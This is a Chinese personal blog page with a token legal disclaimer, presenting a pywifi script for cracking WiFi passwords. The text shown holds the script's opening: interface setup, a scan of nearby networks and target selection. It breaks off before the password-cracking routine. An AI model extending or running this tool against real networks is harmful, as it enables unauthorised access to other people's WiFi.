<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="keywords" content="Hexo Theme Redefine">
    
    <meta name="author" content="西门啸雪">
    <!-- preconnect -->
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>

    
    <!--- Seo Part-->
    
    <link rel="canonical" href="http://aurobreeze.top/2024/07/08/pywifi破解wifi密码示例/"/>
    <meta name="robots" content="index,follow">
    <meta name="googlebot" content="index,follow">
    <meta name="revisit-after" content="1 days">
    
        <meta name="description" content="前言本文章代码仅供参考，个人学习使用，请勿用于非法用途。 python代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586">
<meta property="og:type" content="article">
<meta property="og:title" content="pywifi破解WiFi密码示例">
<meta property="og:url" content="http://aurobreeze.top/2024/07/08/pywifi%E7%A0%B4%E8%A7%A3WiFi%E5%AF%86%E7%A0%81%E7%A4%BA%E4%BE%8B/index.html">
<meta property="og:site_name" content="Hexo">
<meta property="og:description" content="前言本文章代码仅供参考，个人学习使用，请勿用于非法用途。 python代码1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586">
<meta property="og:locale" content="zh_CN">
<meta property="article:published_time" content="2024-07-08T02:17:40.000Z">
<meta property="article:modified_time" content="2024-08-11T12:56:53.011Z">
<meta property="article:author" content="John Doe">
<meta property="article:tag" content="pywifi">
<meta name="twitter:card" content="summary">
    
    
    <!--- Icon Part-->
    <link rel="icon" type="image/png" href="/images/redefine-favicon.svg" sizes="192x192">
    <link rel="apple-touch-icon" sizes="180x180" href="/images/redefine-favicon.svg">
    <meta name="theme-color" content="#A31F34">
    <link rel="shortcut icon" href="/images/redefine-favicon.svg">
    <!--- Page Info-->
    
    <title>
        
            pywifi破解WiFi密码示例 -
        
        AuroBreeze
    </title>

    
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">


    <!--- Inject Part-->
    

    
<link rel="stylesheet" href="/css/style.css">


    
        
<link rel="stylesheet" href="/assets/build/styles.css">

    

    
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">

    
<link rel="stylesheet" href="/fonts/Geist/geist.css">

    <!--- Font Part-->
    
    
    
    

    
        
<script src="/js/libs/anime.min.js"></script>

    

    <script id="hexo-configurations">
    window.config = {"hostname":"aurobreeze.top","root":"/","language":"zh-CN","path":"search.xml"};
    window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"simple","font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":3,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/wallhaven-wqery6-light.webp","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://cn.vercount.one/js","enable":true,"site_pv":false,"site_uv":false,"post_pv":true},"single_page":true,"preloader":true,"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-wqery6-light.webp","dark":"/images/wallhaven-wqery6-dark.webp"},"title":"AuroBreeze","subtitle":{"text":["等清风拂面,笑看人间"],"hitokoto":{"enable":false,"api":"https://v1.hitokoto.cn"},"typing_speed":80,"backing_speed":80,"starting_delay":1000,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/AuroBreeze","instagram":null,"zhihu":null,"twitter":null,"email":"1732373074@aliyun.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.6.4","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"},"Tags":{"icon":"fa-solid fa-tags","path":"/tags/"},"Categories":{"icon":"fa-solid fa-folder","path":"/categories/"},"Friends":{"icon":"fa-solid fa-link","path":"/links/"},"About":{"icon":"fa-regular fa-user","submenus":{"Me":"/about","Github":"https://github.com/AuroBreeze","Blog":"https://aurobreeze.top"}}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":"西门啸雪的小窝","show_on_mobile":true,"links":{"Archives":{"path":"/archives","icon":"fa-regular fa-archive"},"Tags":{"path":"/tags","icon":"fa-regular fa-tags"},"Categories":{"path":"/categories","icon":"fa-regular fa-folder"}}},"article_date_format":"auto","categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2024/8/10 12:00:00"};
    window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
    window.data = {"masonry":false};
  </script>
    
    <!--- Fontawesome Part-->
    
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">

    
<link rel="stylesheet" href="/fontawesome/brands.min.css">

    
<link rel="stylesheet" href="/fontawesome/solid.min.css">

    
<link rel="stylesheet" href="/fontawesome/regular.min.css">

    
    
    
    
    <script charset="UTF-8" id="LA_COLLECT" src="//sdk.51.la/js-sdk-pro.min.js"></script>
    <script>LA.init({id:"3JKUPn8RBXzO8Bzv",ck:"3JKUPn8RBXzO8Bzv"})</script>
<meta name="generator" content="Hexo 7.3.0"></head>


<body>
<div class="progress-bar-container">
    

    
        <span class="pjax-progress-bar"></span>
<!--        <span class="swup-progress-icon">-->
<!--            <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!--        </span>-->
    
</div>



    <style>
    :root {
        --preloader-background-color: #fff;
        --preloader-text-color: #000;
    }

    @media (prefers-color-scheme: dark) {
        :root {
            --preloader-background-color: #202124;
            --preloader-text-color: #fff;
        }
    }

    @media (prefers-color-scheme: light) {
        :root {
            --preloader-background-color: #fff;
            --preloader-text-color: #000;
        }
    }

    @media (max-width: 600px) {
        .ml13 {
            font-size: 2.6rem !important; /* Adjust this value as needed */
        }
    }

    .preloader {
        display: flex;
        flex-direction: column;
        gap: 1rem; /* Tailwind 'gap-4' is 1rem */
        align-items: center;
        justify-content: center;
        position: fixed;
        padding: 12px;
        top: 0;
        right: 0;
        bottom: 0;
        left: 0;
        width: 100vw;
        height: 100vh; /* 'h-screen' is 100% of the viewport height */
        background-color: var(--preloader-background-color);
        z-index: 1100; /* 'z-[1100]' sets the z-index */
        transition: opacity 0.2s ease-in-out;
    }

    .ml13 {
        font-size: 3.2rem;
        /* text-transform: uppercase; */
        color: var(--preloader-text-color);
        letter-spacing: -1px;
        font-weight: 500;
        font-family: 'Chillax-Variable', sans-serif;
        text-align: center;
    }

    .ml13 .word {
        display: inline-flex;
        flex-wrap: wrap;
        white-space: nowrap;
    }

    .ml13 .letter {
        display: inline-block;
        line-height: 1em;
    }
</style>

<div class="preloader">
    <h2 class="ml13">
        AuroBreeze
    </h2>
    <script>
        var textWrapper = document.querySelector('.ml13');
        // Split text into words
        var words = textWrapper.textContent.trim().split(' ');

        // Clear the existing content
        textWrapper.innerHTML = '';

        // Wrap each word and its letters in spans
        words.forEach(function(word) {
            var wordSpan = document.createElement('span');
            wordSpan.classList.add('word');
            wordSpan.innerHTML = word.replace(/\S/g, "<span class='letter'>$&</span>");
            textWrapper.appendChild(wordSpan);
            textWrapper.appendChild(document.createTextNode(' ')); // Add space between words
        });

        var animation = anime.timeline({loop: true})
            .add({
                targets: '.ml13 .letter',
                translateY: [40,0],
                translateZ: 0,
                opacity: [0,1],
                filter: ['blur(5px)', 'blur(0px)'], // Starting from blurred to unblurred
                easing: "easeOutExpo",
                duration: 1400,
                delay: (el, i) => 300 + 30 * i,
            }).add({
                targets: '.ml13 .letter',
                translateY: [0,-40],
                opacity: [1,0],
                filter: ['blur(0px)', 'blur(5px)'], // Ending from unblurred to blurred
                easing: "easeInExpo",
                duration: 1200,
                delay: (el, i) => 100 + 30 * i,
                complete: function() {
                    hidePreloader(); // Call hidePreloader after the animation completes
                }
            });

        let themeStatus = JSON.parse(localStorage.getItem('REDEFINE-THEME-STATUS'))?.isDark;

        // If the theme status is not found in local storage, check the preferred color scheme
        if (themeStatus === undefined || themeStatus === null) {
            if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {
                themeStatus = 'dark';
            } else {
                themeStatus = 'light';
            }
        }

        // Now you can use the themeStatus variable in your code
        if (themeStatus) {
            document.documentElement.style.setProperty('--preloader-background-color', '#202124');
            document.documentElement.style.setProperty('--preloader-text-color', '#fff');
        } else {
            document.documentElement.style.setProperty('--preloader-background-color', '#fff');
            document.documentElement.style.setProperty('--preloader-text-color', '#000');
        }

        window.addEventListener('load', function () {
            setTimeout(hidePreloader, 5000); // Call hidePreloader after 5000 milliseconds if not already called by animation
        });

        function hidePreloader() {
            var preloader = document.querySelector('.preloader');
            preloader.style.opacity = '0';
            setTimeout(function () {
                preloader.style.display = 'none';
            }, 200);
        }
    </script>
</div>

<main class="page-container" id="swup">

    

    <div class="main-content-container">


        <div class="main-content-header">
            <header class="navbar-container px-6 md:px-12">

    <div class="navbar-content ">
        <div class="left">
            
            <a class="logo-title" href="/">
                
                AuroBreeze
                
            </a>
        </div>

        <div class="right">
            <!-- PC -->
            <div class="desktop">
                <ul class="navbar-list">
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class=""
                                   href="/"
                                        >
                                    <i class="fa-regular fa-house fa-fw"></i>
                                    首页
                                    
                                </a>

                                <!-- Submenu -->
                                
                            </li>
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class=""
                                   href="/archives"
                                        >
                                    <i class="fa-regular fa-archive fa-fw"></i>
                                    归档
                                    
                                </a>

                                <!-- Submenu -->
                                
                            </li>
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class=""
                                   href="/tags/"
                                        >
                                    <i class="fa-solid fa-tags fa-fw"></i>
                                    标签
                                    
                                </a>

                                <!-- Submenu -->
                                
                            </li>
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class=""
                                   href="/categories/"
                                        >
                                    <i class="fa-solid fa-folder fa-fw"></i>
                                    分类
                                    
                                </a>

                                <!-- Submenu -->
                                
                            </li>
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class=""
                                   href="/links/"
                                        >
                                    <i class="fa-solid fa-link fa-fw"></i>
                                    友情链接
                                    
                                </a>

                                <!-- Submenu -->
                                
                            </li>
                    
                        
                            

                            <li class="navbar-item">
                                <!-- Menu -->
                                <a class="has-dropdown"
                                   href="#"
                                        onClick=&#34;return false;&#34;>
                                    <i class="fa-regular fa-user fa-fw"></i>
                                    关于
                                    <i class="fa-solid fa-chevron-down fa-fw"></i>
                                </a>

                                <!-- Submenu -->
                                
                                    <ul class="sub-menu">
                                        
                                            <li>
                                                <a href="/about">
                                                    ME
                                                </a>
                                            </li>
                                        
                                            <li>
                                                <a target="_blank" rel="noopener" href="https://github.com/AuroBreeze">
                                                    GITHUB
                                                </a>
                                            </li>
                                        
                                            <li>
                                                <a href="https://aurobreeze.top">
                                                    BLOG
                                                </a>
                                            </li>
                                        
                                    </ul>
                                
                            </li>
                    
                    
                        <li class="navbar-item search search-popup-trigger">
                            <i class="fa-solid fa-magnifying-glass"></i>
                        </li>
                    
                </ul>
            </div>
            <!-- Mobile -->
            <div class="mobile">
                
                    <div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
                    </div>
                
                <div class="icon-item navbar-bar">
                    <div class="navbar-bar-middle"></div>
                </div>
            </div>
        </div>
    </div>

    <!-- Mobile sheet -->
    <div class="navbar-drawer h-screen w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
        <ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
            
                
                    

                    <li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
                        
                        <a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                           href="/"
                        >
                            <span>
                                首页
                            </span>
                            
                                <i class="fa-regular fa-house fa-sm fa-fw"></i>
                            
                        </a>
                        

                        
                    </li>
            
                
                    

                    <li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
                        
                        <a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                           href="/archives"
                        >
                            <span>
                                归档
                            </span>
                            
                                <i class="fa-regular fa-archive fa-sm fa-fw"></i>
                            
                        </a>
                        

                        
                    </li>
            
                
                    

                    <li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
                        
                        <a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                           href="/tags/"
                        >
                            <span>
                                标签
                            </span>
                            
                                <i class="fa-solid fa-tags fa-sm fa-fw"></i>
                            
                        </a>
                        

                        
                    </li>
            
                
                    

                    <li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
                        
                        <a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                           href="/categories/"
                        >
                            <span>
                                分类
                            </span>
                            
                                <i class="fa-solid fa-folder fa-sm fa-fw"></i>
                            
                        </a>
                        

                        
                    </li>
            
                
                    

                    <li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
                        
                        <a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                           href="/links/"
                        >
                            <span>
                                友情链接
                            </span>
                            
                                <i class="fa-solid fa-link fa-sm fa-fw"></i>
                            
                        </a>
                        

                        
                    </li>
            
                
                    

                    <li class="drawer-navbar-item-sub text-base my-1.5 flex flex-col w-full">
                        
                        <div class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary cursor-pointer text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
                             navbar-data-toggle="submenu-About"
                        >
                            <span>
                                关于
                            </span>
                            
                                <i class="fa-solid fa-chevron-right fa-sm fa-fw transition-all"></i>
                            
                        </div>
                        

                        
                            <div class="flex-col items-start px-2 py-2 hidden" data-target="submenu-About">
                                
                                    <div class="drawer-navbar-item text-base flex flex-col justify-center items-start hover:underline active:underline hover:underline-offset-1 rounded-3xl">
                                        <a class=" text-third-text-color text-xl"
                                           href="/about">ME</a>
                                    </div>
                                
                                    <div class="drawer-navbar-item text-base flex flex-col justify-center items-start hover:underline active:underline hover:underline-offset-1 rounded-3xl">
                                        <a class=" text-third-text-color text-xl"
                                           target="_blank" rel="noopener" href="https://github.com/AuroBreeze">GITHUB</a>
                                    </div>
                                
                                    <div class="drawer-navbar-item text-base flex flex-col justify-center items-start hover:underline active:underline hover:underline-offset-1 rounded-3xl">
                                        <a class=" text-third-text-color text-xl"
                                           href="https://aurobreeze.top">BLOG</a>
                                    </div>
                                
                            </div>
                        
                    </li>
            

            
            
                
                    
                    
                    
            
        </ul>

        <div class="statistics flex justify-around my-2.5">
    <a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
        <div class="number text-2xl sm:text-xl text-second-text-color font-semibold">8</div>
        <div class="label text-third-text-color text-sm">标签</div>
    </a>
    <a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
        <div class="number text-2xl sm:text-xl text-second-text-color font-semibold">5</div>
        <div class="label text-third-text-color text-sm">分类</div>
    </a>
    <a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
        <div class="number text-2xl sm:text-xl text-second-text-color font-semibold">10</div>
        <div class="label text-third-text-color text-sm">文章</div>
    </a>
</div>
    </div>

    <div class="window-mask"></div>

</header>


        </div>

        <div class="main-content-body">

            

            <div class="main-content">

                
                    <div class="post-page-container flex relative justify-between box-border w-full h-full">
    <div class="article-content-container">

        <div class="article-title relative w-full">
            
                <div class="w-full flex items-center pt-6 justify-start">
                    <h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">pywifi破解WiFi密码示例</h1>
                </div>
            
            </div>

        
            <div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
                <div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
                    <img src="http://imgos.cn/2024/07/27/66a49edd1a14f.jpg">
                </div>
                <div class="info flex flex-col justify-between">
                    <div class="author flex items-center">
                        <span class="name text-default-text-color text-lg font-semibold">西门啸雪</span>
                        
                            <span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv2</span>
                        
                    </div>
                    <div class="meta-info">
                        <div class="article-meta-info">
    <span class="article-date article-meta-item">
        <i class="fa-regular fa-pen-fancy"></i>&nbsp;
        <span class="desktop">2024-07-08 10:17:40</span>
        <span class="mobile">2024-07-08 10:17:40</span>
        <span class="hover-info">创建</span>
    </span>
    
        <span class="article-date article-meta-item">
            <i class="fa-regular fa-wrench"></i>&nbsp;
            <span class="desktop">2024-08-11 20:56:53</span>
            <span class="mobile">2024-08-11 20:56:53</span>
            <span class="hover-info">更新</span>
        </span>
    

    
        <span class="article-categories article-meta-item">
            <i class="fa-regular fa-folders"></i>&nbsp;
            <ul>
                
                
                    
                        
                        <li>
                            <a href="/categories/python/">python</a>&nbsp;
                        </li>
                    
                    
                
            </ul>
        </span>
    
    
        <span class="article-tags article-meta-item">
            <i class="fa-regular fa-tags"></i>&nbsp;
            <ul>
                
                    <li>
                        <a href="/tags/pywifi/">pywifi</a>&nbsp;
                    </li>
                
            </ul>
        </span>
    

    
    
        <span class="article-wordcount article-meta-item">
            <i class="fa-regular fa-typewriter"></i>&nbsp;<span>9.2k 字</span>
        </span>
    
    
        <span class="article-min2read article-meta-item">
            <i class="fa-regular fa-clock"></i>&nbsp;<span>39 分钟</span>
        </span>
    
    
        <span class="article-pv article-meta-item">
            <i class="fa-regular fa-eye"></i>&nbsp;<span id="busuanzi_value_page_pv"></span>
        </span>
    
</div>

                    </div>
                </div>
            </div>
        

        


        <div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
            <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>本文章代码仅供参考，个人学习使用，请勿用于非法用途。</p>
<h2 id="python代码"><a href="#python代码" class="headerlink" title="python代码"></a>python代码</h2><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br></pre></td><td class="code"><pre><span class="line">__author__ = <span class="string">&#x27;ximenxiaoxue&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys <span class="comment">#进行错误检查</span></span><br><span class="line"><span class="keyword">import</span> random <span class="comment">#快速排序使用</span></span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">import</span> pywifi </span><br><span class="line"><span class="keyword">from</span> pywifi <span class="keyword">import</span> const,Profile</span><br><span class="line"></span><br><span class="line"><span class="comment"># 功能：</span></span><br><span class="line"><span class="comment">#1.判断自身是否连接到wifi</span></span><br><span class="line"><span class="comment">#2.选择是否进行wifi密码破解，新建一个函数进行选择</span></span><br><span class="line"><span class="comment">#3.进行破解</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">wifi_attack_main</span>():</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):  <span class="comment">#这个是整个程序的入口，看这个函数的步骤就可以分析整个程序的流程了</span></span><br><span class="line"></span><br><span class="line">        <span class="variable language_">self</span>.wifi = pywifi.PyWiFi() <span class="comment">#创建wifi对象</span></span><br><span class="line">        <span class="variable language_">self</span>.iface = <span class="variable language_">self</span>.wifi.interfaces()[<span class="number">0</span>] <span class="comment">#获取第一个无线网卡</span></span><br><span class="line">        <span class="variable language_">self</span>.wifi_status = <span class="variable language_">self</span>.iface.status()<span class="comment">#获取无线网卡状态</span></span><br><span class="line"></span><br><span class="line">        <span class="variable language_">self</span>.choice = <span class="variable language_">self</span>.Choice() <span class="comment">#选择是否进行wifi密码破解</span></span><br><span class="line">        <span class="variable language_">self</span>.wifi_attack(<span class="variable language_">self</span>.choice) <span class="comment">#进行wifi攻击</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">wifi_attack</span>(<span class="params">self,choice</span>):</span><br><span class="line">        <span class="keyword">if</span> choice == <span class="literal">True</span>:</span><br><span class="line">            item_dict = <span class="variable language_">self</span>.wifi_scan() <span class="comment">#扫描wifi</span></span><br><span class="line">            count,singnal_list = <span class="variable language_">self</span>.read_wifi_data(item_dict)<span class="comment">#读取wifi数据</span></span><br><span class="line">            wifi_name_attack = <span class="variable language_">self</span>.wifi_attack_choose(count,singnal_list) <span class="comment">#选择需要破解的wifi</span></span><br><span class="line"></span><br><span class="line">            <span class="variable language_">self</span>.wifi_crack(wifi_name_attack) <span class="comment">#破解wifi密码</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;已退出&quot;</span>)</span><br><span class="line"></span><br><span class="line">            num = <span class="built_in">input</span>(<span class="string">&quot;按任意键退出&quot;</span>)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">wifi_scan</span>(<span class="params">self</span>):</span><br><span class="line">        <span class="comment">#扫描wifi</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在扫描wifi...&quot;</span>+ <span class="string">&quot;\n&quot;</span>)</span><br><span class="line"></span><br><span class="line">        time.sleep(<span class="number">2</span>) <span class="comment">#不休眠扫描不全</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="variable language_">self</span>.iface.scan()  <span class="comment"># 扫描附近的wifi</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">while</span> <span class="keyword">not</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;正在扫描...&quot;</span>)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">               sys.exit(<span class="string">&quot;扫描失败，请检查网络连接&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;扫描完成&quot;</span>)</span><br><span class="line">        num = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">        wifi_list_parameter = &#123;<span class="string">&#x27;SSID&#x27;</span>: [], <span class="string">&#x27;Singnal level&#x27;</span>: [], <span class="string">&#x27;BSSID&#x27;</span>: [], <span class="string">&#x27;Frequency&#x27;</span>: []&#125;</span><br><span class="line">        <span class="keyword">for</span> bss <span class="keyword">in</span> <span class="variable language_">self</span>.iface.scan_results():</span><br><span class="line">            num += <span class="number">1</span></span><br><span class="line">            <span class="comment"># print(&quot;SSID: %s&quot; % bss.ssid)  # 